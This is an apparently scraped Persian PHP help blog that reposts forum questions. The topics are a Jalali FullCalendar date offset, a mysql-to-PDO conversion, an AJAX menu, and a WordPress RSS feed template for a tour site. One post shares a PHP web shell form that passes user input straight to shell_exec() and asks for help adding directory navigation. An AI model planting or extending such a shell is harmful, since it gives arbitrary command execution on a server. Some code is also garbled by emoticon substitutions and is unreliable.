php مرکز کد های سایت

ساخت وبلاگ
سلام،
شما نمونه کد پی‌اچ‌پی رو مشاهده کردین؟ فک کنم جواب همه سوالاتتون رو میگیرین.
منم چندوقت پیش یک کلاس برای درگاه بانک پاسارگاد نوشته بودم، اینم به عنوان نمونه نگاه کنی بد نیست. [لینک]

- - , .

php مرکز کد های سایت...
ما را در سایت php مرکز کد های سایت دنبال می کنید

برچسب : نویسنده : استخدام کار phpco بازدید : 171 تاريخ : چهارشنبه 28 بهمن 1394 ساعت: 17:16

سلام عرض دارم
یکی از دوستان ازم پرسیدن چگونه میشه مشکل تبدیل تاریخ میلادی به جلالی - شمسی حل کرد. بهشون یکی از فایل های گیت هاب رو دادم چون و الان مشکلشون رو اطلاع دادن. بهشون گفتم میپرسم و اطلاع میدم چون ایرانی نیستن.

https://github.com/ehsandanesh/fullcalendar/

Problem is events are not displaying on the given date so please ask that how to allocate the event on specific date via json

{
title: 'First Eventt',
start: '2016-02-01 '
},
{
title: 'Second event',
start: '2016-02-07',
end: '2016-02-10'
},]

This the way to create the events on calendar.

But for date 2016-02-01 event comes on date 12th bahman

and

for dates 2016-02-07 to 2016-02-10 event comes on 18th bahman to 20th bahman respectively.

What is the patte i should pass to display the events on correct date.

This same issue was with the prior fulljlali calendar.

- - , .

php مرکز کد های سایت...
ما را در سایت php مرکز کد های سایت دنبال می کنید

برچسب : نویسنده : استخدام کار phpco بازدید : 210 تاريخ : چهارشنبه 28 بهمن 1394 ساعت: 17:16

سلام
من یه شل اسکریپت دارم می خوام در قسمت You Here : مسیری که اکنون در آن هستیم رو بهم نشون بده و در قسمت Write Directory to go با نوشتن مسیر مشخص برای مثال C:root به اون مسیر برم و بتونم اونجا دستورات cmd ویندوز رو اجرا کنم

بر روی سرور ویندوز وب سرور php نصبه

کد مربوطه جهت تکمیل:

کد PHP:

<html>
    <
body>
        <
form action="" method="post">
            <
b>Command Line : <font face=Wingdings color=gray></font></b><input type="text" name="subject">
            <
input type="submit" value="Run Command" name="submit">
        </
form>
<
table width=1000px cellpadding=0 cellspacing=0 bgcolor=#396D95>
<tr><td bgcolor=#396D95><font face=Verdana size=-2></font></td></tr>
<tr><td><b><div align=center><textarea name=report cols=121 rows=15>
<?
php
if (isset($_POST['submit'])) {
    
$subject $_POST['subject'];
    
$output shell_exec($subject);
    echo 
"$output";
} else {
    echo 
"error!";
}    
?>
</textarea></div></b></td></tr></table>
<?php
echo "</textarea>";
?>
    </body>
</html>
<form name=form method=POST>
<tr>
<td>
<div id="id1">
<table class=table1 width=100% align=center>
<tr class=tr1>
<td class=td1 width=15% align=right>
<b>Write Directory to go :<font face=Wingdings color=gray></font></b>
</td>
<td class=td1 align=left><input type=text name=cmd size=85 value=""></td>
</tr>
<tr class=tr1>
<td class=td1 width=15% align=right>
<b>You Here :<font face=Wingdings color=gray></font></b>
</td>
<td class=td1 align=left>
<input type=text name=dir size=85 value=""><input type=submit name=submit value="Run">
</td>
</tr></table></div></td></tr></form> 

- - , .

php مرکز کد های سایت...
ما را در سایت php مرکز کد های سایت دنبال می کنید

برچسب : نویسنده : استخدام کار phpco بازدید : 205 تاريخ : سه شنبه 27 بهمن 1394 ساعت: 5:21

kimia_r آفلاین
عضو جدید
**

ارسال‌ها: 5
تاریخ عضویت: ۱۳۹۴ بهمن ۱۱
اعتبار: 0

تشکرها : 0
( 0 تشکر در 0 ارسال )

ارسال: #1
Question تبدیل mysql به pdo یا mysqli
سلام دوستان
کسی بلده این کد رو به mysqli یا pdo بنویسه؟
خودم هرجور نوشتم خطا داد

کد PHP:

mysql_query("SET NAMES utf8");
mysql_query("SET CHARACTER_SET utf8");

if(isset(

$_POST['submit_order'])){
    
$name=mysql_real_escape_string($_POST['user_name']);
    
$phone=mysql_real_escape_string($_POST['user_phone']);
    
$order=mysql_real_escape_string($_POST['user_order']);
    if(empty(
$name) || empty($phone) || empty($order)){
        
$msg="لطفا تمامی فیلدها را پر نمایید";
        
$err=true;}
        else{
            
$recipsubstr(uniqid(),0,10);
            
$sql="INSERT INTO order(user_name,user_phone,user_order,user_status,user_recip)";
            
$sql.="VALUES('[$name]','[$phone]','[$order]',0,'[$recip]')";
            
$resmysql_query($sql); 

کد PHP:

<?php if(mysql_num_rows($order)): ?>
<?php 
while($user=mysql_fetch_assoc($order)): ?>

(آخرین ویرایش در این ارسال: ۱۳۹۴ بهمن ۲۴ ۰۶:۵۳ عصر، توسط kimia_r.)
۱۳۹۴ بهمن ۲۴ ۰۶:۴۶ عصر

- - , .

php مرکز کد های سایت...
ما را در سایت php مرکز کد های سایت دنبال می کنید

برچسب : نویسنده : استخدام کار phpco بازدید : 207 تاريخ : سه شنبه 27 بهمن 1394 ساعت: 4:12

eq-son آفلاین
عضو جدید
**

ارسال‌ها: 1
تاریخ عضویت: ۱۳۹۴ بهمن ۷
اعتبار: 0

تشکرها : 0
( 0 تشکر در 0 ارسال )

ارسال: #1
نمایش مطلب با استفاده از ajax

سلام خدمت دوستان
راهنمایی میخوام در مورد ساخت یک منو عمودی که وقتی روی هرکدوم از منو ها کلیک میکنیم صفحه سایتمون عوض نشه و فقط مطالب صفحه عوض بشه ،یعنی یک قسمت از صفحه سایت مون مطلبی که نمایش داده میشه فقط محتوی اونا عوض بشه ممنون.

۱۳۹۴ بهمن ۲۴ ۰۸:۳۶ عصر

- - , .

php مرکز کد های سایت...
ما را در سایت php مرکز کد های سایت دنبال می کنید

برچسب : نویسنده : استخدام کار phpco بازدید : 166 تاريخ : سه شنبه 27 بهمن 1394 ساعت: 4:12

با سلام دوستان ما
برای rss کد نویسی انجام شده بصورت جدول اما وقتی اطلاعات rss رو از طریق گوشی یا تبلیت نگاه می کنیم اطلاعات جدول بصورت کامل نمایش داده نمیشه و فونت ها به هم می ریزه .

اسکرین شات تهیه کردم گذاشتم:
داخل عکسها نوشته ها توضیحات و نوع سفر رو ببینید چطوری نوشته شده؟

اینم کدهای rss ما کسی می تونه کمک کنه و بگه باید چی اضافه بکنیم به این کدها که این مشکل حل شه:
<?php
/**
* RSS2 Feed Template for displaying RSS2 Posts feed.
*
* @package WordPress
*/

header('Content-Type: ' . feed_content_type('rss2') . '; charset=' . get_option('blog_charset'), true);
$more = 1;

echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>';

/**
* Fires between the xml and rss tags in a feed.
*
* @since 4.0.0
*
* @param string $context Type of feed. Possible values include 'rss2', 'rss2-Idea',
* 'rdf', 'atom', and 'atom-Idea'.
*/
do_action( 'rss_tag_pre', 'rss2' );
?>
<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlnsBig Grinc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlnsConfusedy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
<?php
/**
* Fires at the end of the RSS root to add namespaces.
*
* @since 2.0.0
*/
do_action( 'rss2_ns' );
?>
>

<channel>
<title><?php wp_title_rss(); ?></title>
<atom:link href="<?php self_link(); ?>" rel="self" type="application/rss+xml" />
<link><?php bloginfo_rss('url') ?></link>
<description><?php bloginfo_rss("description") ?></description>
<lastBuildDate><?php echo mysql2date('D, d M Y H:iConfused +0000', get_lastpostmodified('GMT'), false); ?></lastBuildDate>
<language>ar</language>
<sy:updatePeriod><?php
$duration = 'hourly';

/**
* Filter how often to update the RSS feed.
*
* @since 2.1.0
*
* @param string $duration The update period. Accepts 'hourly', 'daily', 'weekly', 'monthly',
* 'yearly'. Default 'hourly'.
*/
echo apply_filters( 'rss_update_period', $duration );
?></sy:updatePeriod>
<sy:updateFrequency><?php
$frequency = '1';

/**
* Filter the RSS update frequency.
*
* @since 2.1.0
*
* @param string $frequency An integer passed as a string representing the frequency
* of RSS updates within the update period. Default '1'.
*/
echo apply_filters( 'rss_update_frequency', $frequency );
?></sy:updateFrequency>
<?php
/**
* Fires at the end of the RSS2 Feed Header.
*
* @since 2.0.0
*/
do_action( 'rss2_head');

while( have_posts()) : the_post();
global $post;
$is_feature = get_post_meta(get_the_ID(), 'zttour_is_feature', true);
$is_active = get_post_meta(get_the_ID(), 'zttour_is_active', true);
$is_last_tiem = get_post_meta(get_the_ID(), 'zttour_is_last_time', true);
$is_nowruz = get_post_meta(get_the_ID(), 'zttour_is_nowruz', true);
$metaValue1 = get_post_meta($post->ID, 'zttour_price_from', true);
$source = get_post_meta($post->ID, 'zttour_source', true);
?>
<item>
<title><?php the_title_rss() ?></title>
<link><?php the_permalink_rss() ?></link>
<?php if ( get_Idea_number() || Idea_open() ) : ?>
<Idea><?php Idea_link_feed(); ?></Idea>
<?php endif; ?>
<pubDate><?php echo mysql2date('D, d M Y H:iConfused +0000', get_post_time('Y-m-d H:iConfused', true), false); ?></pubDate>
<dc:creator><![CDATA[<?php the_author() ?>]]></dc:creator>
<?php the_category_rss('rss2') ?>

<guid isPermaLink="false"><?php the_guid(); ?></guid>
<?php if (get_option('rss_use_excerpt')) : ?>
<description><![CDATA[esle1]]></description>
<?php else : ?>
<description><![CDATA[ <?php
if( ! get_post_meta(get_the_ID(), 'zttour_source', TRUE)){

the_content();}
else { ?>
<div class="single_tour <?php echo ($is_feature == 1) ? 'zttour_featured' : ''; ?> <?php echo ($is_last_tiem == 1) ? 'zttour_last_time' : ''; ?> <?php echo ($is_nowruz == 1) ? 'zttour_nowruz' : ''; ?>">
<div class="tour_content">
<?php
if ($is_active == 0) {
echo '<div class="zttour_expired">' . __('این تور منقضی شده است', 'ztframe_tour') . '</div>';
}
?>

<div class="tabletitle"><h4>اطلاعات تور</h4></div>
<table class="table" border="1" border="1" cellpadding="5px" cellspacing="0px" width="100%" >
<tbody>
<tr>
<td class="rightcolumn tour_vert_title">از</td>
<td class="tour_vert_value" align="right"><?php echo get_post_meta(get_the_ID(), 'zttour_source', TRUE); ?><br></td>
</tr>
<tr>
<td class="rightcolumn tour_vert_title">نوع سفر</td>
<?php
$trans = get_post_meta(get_the_ID(), 'zttour_transport', TRUE);
$trans_name = array('1' => 'هوایی', '2' => 'دریایی', '3' => 'زمینی با قطار', '4' => 'زمینی با اتوبوس');
$transer = get_post_meta(get_the_ID(), 'zttour_transporter', TRUE);
?>
<td class="tour_vert_value" align="right"><?php echo $trans_name[$trans] . ' - ' . $transer; ?></td>
</tr>
<tr>
<td class="rightcolumn tour_vert_title">قیمت از</td>
<?php
$price_from = get_post_meta(get_the_ID(), 'zttour_price_from', TRUE);
$price_dolar = get_post_meta(get_the_ID(), 'zttour_price_by_dolar', TRUE);
?>
<td class="tour_vert_value" align="right">
<?php
$price_from_ech = (is_numeric($price_from)) ? number_format($price_from) : $price_from;
echo '<span class="number">' . $price_from_ech . '</span> تومان';
if (!empty($price_dolar)) {
echo ' + <span class="number">' . $price_dolar . '</span>';
}
?>
</td>
</tr>
<?php
$from_date = get_post_meta(get_the_ID(), 'zttour_start_date', TRUE);
$to_date = get_post_meta(get_the_ID(), 'zttour_end_date', TRUE);
if (!empty($from_date) OR ! empty($to_date)) {
?>
<tr>
<td class="rightcolumn tour_vert_title">تاریخ</td>
<td class="tour_vert_value" align="right">
<span class="tour_start_date">
<?php
if (!empty($from_date)) {
$from_date = jdate('j F Y', zt_strtotime($from_date));
echo 'تاریخ شروع تور : <span class="date">' . $from_date . '</span>';
}
?>
</span>
<span class="tour_end_date">
<?php
if (!empty($to_date)) {
$to_date = jdate('j F Y', zt_strtotime($to_date));
echo ' ، تاریخ پایان تور : <span class="date">' . $to_date . '</span>';
}
?>
</span>
</td>
</tr>
<?php } ?>

<tr>
<td class="rightcolumn tour_vert_title">مدارک لازم</td>
<td class="tour_vert_value" align="right"><?php echo nl2br(get_post_meta(get_the_ID(), 'zttour_docs', TRUE)); ?><br>
</td>
</tr>

<tr>
<td class="rightcolumn tour_vert_title">خدمات آژانس</td>
<td class="tour_vert_value" align="right"><?php echo nl2br(get_post_meta(get_the_ID(), 'zttour_service', TRUE)); ?></td>
</tr>

<tr>
<td class="rightcolumn tour_vert_title">توضيحات</td>
<td class="tour_vert_value" align="right"><?php echo nl2br(get_post_meta(get_the_ID(), 'zttour_description', TRUE)); ?></td>
</tr>

</tbody>
</table>
<?php
the_content();
?>
<?php if ($is_active == 1) { ?>
<div class="tabletitle"><h4>اطلاعات تماس</h4></div>
<table class="table " border="1" cellpadding="5px" cellspacing="0px" width="100%">
<tbody>
<tr>
<td class="rightcolumn tour_vert_title">نام آژانس</td>
<td class="tour_vert_value" align="right">
<?php /* * * /?>
<a href="<?php echo get_author_posts_url(get_the_author_ID()); ?>"><?php echo get_the_author(); ?></a>
<?php /* * */ ?>
<a href="<?php echo get_author_posts_url(get_the_author_ID()); ?>"><?php echo get_user_meta(get_the_author_ID(), 'agency_name', true); ?></a>

</td>
</tr>

<tr>
<td class="rightcolumn tour_vert_title">تلفن</td>
<td class="tour_vert_value" align="right"><?php the_author_meta('tel'); ?></td>
</tr>

<?php /**/ ?>
<tr>
<td class="rightcolumn tour_vert_title">ایمیل</td>
<td class="tour_vert_value" align="right"><a href="contact<?php the_author_email(); ?>" target="_blank"><?php the_author_email(); ?></a></td>
</tr>
<?php /**/ ?>

</tbody>
</table>
<?php } ?>

<div class="tabletitle"><h4>به</h4></div>
<table class="table tour_table tour_destination" border="1" cellpadding="5px" cellspacing="0px" width="100%">
<tbody>
<tr class="tablerow">
<td class="horis_title">نام</td>
<td class="horis_title">مدت اقامت</td>
<td class="horis_title">توضيحات</td>
</tr>
<?php
$destination = get_post_meta(get_the_ID(), 'zttour_destination', TRUE);
$stay = get_post_meta(get_the_ID(), 'zttour_stay', TRUE);
$dest_description = get_post_meta(get_the_ID(), 'zttour_dest_description', TRUE);
if (is_array($destination))
foreach ($destination as $dk => $dst) {
?>
<tr>
<td><?php echo $dst; ?></td>
<td><?php echo $stay[$dk]; ?> شب</td>
<td><?php echo $dest_description[$dk]; ?></td>
</tr>
<?php
}
?>

</tbody>
</table>
<?php
$h_name = get_post_meta(get_the_ID(), 'zttour_hotel_name', TRUE);
$h_rate = get_post_meta(get_the_ID(), 'zttour_hotel_rate', TRUE);
$h_service = get_post_meta(get_the_ID(), 'zttour_hotel_service', TRUE);
$h_link = get_post_meta(get_the_ID(), 'zttour_hotel_link', TRUE);

$h_description = get_post_meta(get_the_ID(), 'zttour_hotel_description', TRUE);

$hotel_title_1 = get_post_meta(get_the_ID(), 'zttour_hotel_title_1', TRUE);
$hotel_price_1 = get_post_meta(get_the_ID(), 'zttour_hotel_price_1', TRUE);

$hotel_title_2 = get_post_meta(get_the_ID(), 'zttour_hotel_title_2', TRUE);
$hotel_price_2 = get_post_meta(get_the_ID(), 'zttour_hotel_price_2', TRUE);

$hotel_title_3 = get_post_meta(get_the_ID(), 'zttour_hotel_title_3', TRUE);
$hotel_price_3 = get_post_meta(get_the_ID(), 'zttour_hotel_price_3', TRUE);

$hotel_title_4 = get_post_meta(get_the_ID(), 'zttour_hotel_title_4', TRUE);
$hotel_price_4 = get_post_meta(get_the_ID(), 'zttour_hotel_price_4', TRUE);

$hotel_title_5 = get_post_meta(get_the_ID(), 'zttour_hotel_title_5', TRUE);
$hotel_price_5 = get_post_meta(get_the_ID(), 'zttour_hotel_price_5', TRUE);

$title_array = array_filter(array($hotel_title_1[0], $hotel_title_2[0], $hotel_title_3[0], $hotel_title_4[0], $hotel_title_5[0]));
$price_array = array($hotel_price_1, $hotel_price_2, $hotel_price_3, $hotel_price_4, $hotel_price_5);
?>
<?php
if ($hotel_title_1[0]) { ?>

<div class="tabletitle"><h4>هتل‌ها</h4></div>
<table class="table tour_table tour_hotel" border="1" cellpadding="5px" cellspacing="0px" width="100%">
<tbody>

<tr class="tablerow">
<td class="horis_title hotel_name">نام هتل</td>

<?php
if (is_array($title_array))
foreach ($title_array as $title) {

echo '<td class="horis_title">' . $title . '</td>';
}
?>

</tr>
<?php
if (is_array($h_name))
foreach ($h_name as $hk => $hotel_name) {
?>
<tr>
<td class="hotel_names">
<?php foreach ($hotel_name as $k => $v) { ?>
<p class="a_hotel">
<?php
$temp_link = $h_link[$hk][$k];
if (empty($temp_link)) {
$temp_link = '#';
} elseif (strpos($temp_link, 'http://') === FALSE AND strpos($temp_link, 'https://') === FALSE) {
$temp_link = 'http://' . $temp_link;
}
?>
<a href="<?php echo $temp_link; ?>" target="_blank"><?php echo $v; ?></a>
<br/>
<span class="hotel_stars">
<?php
if (!is_numeric($h_rate[$hk][$k])) {
echo '<span class="h_n_type">' . $h_rate[$hk][$k] . '</span>';
} else {
?>
<?php for ($s = 1; $s <= $h_rate[$hk][$k]; $s++) { ?>
<i class="fa fa-star"></i>
<?php
}
}
?>
</span>
</p>
<?php } ?>
</td>

<?php
foreach ($title_array as $tk => $title) {
$price = (is_numeric($price_array[$tk][$hk])) ? number_format($price_array[$tk][$hk]) : $price_array[$tk][$hk];
echo '<td class="hotel_price">';
echo '<span class="number">' . $price . ' تومان </span>';
echo '</td>';
}
?>

</tr>
<?php } ?>

</tbody>
</table> <?php } ?>
</div>

</div>

<?php } ?>
]]></description>
<?php $content = get_the_content_feed('rss2'); ?>
<?php if ( strlen( $content ) > 0 ) : ?>
<content:encoded><![CDATA[<?php echo $content; ?>]]></content:encoded>
<?php else : ?>
<content:encoded><![CDATA[<?php the_excerpt_rss(); ?>]]></content:encoded>
<?php endif; ?>
<?php endif; ?>
<?php if ( get_Idea_number() || Idea_open() ) : ?>
<wfw:commentRss><?php echo esc_url( get_post_Idea_feed_link(null, 'rss2') ); ?></wfw:commentRss>
<slash:Idea><?php echo get_Idea_number(); ?></slash:Idea>
<?php endif; ?>
<?php rss_enclosure(); ?>
<?php
/**
* Fires at the end of each RSS2 feed item.
*
* @since 2.0.0
*/
do_action( 'rss2_item' );
?>
</item>
<?php endwhile; ?>
</channel>
</rss>
[/quote][/php][/code]

- - , .

php مرکز کد های سایت...
ما را در سایت php مرکز کد های سایت دنبال می کنید

برچسب : نویسنده : استخدام کار phpco بازدید : 198 تاريخ : سه شنبه 27 بهمن 1394 ساعت: 4:12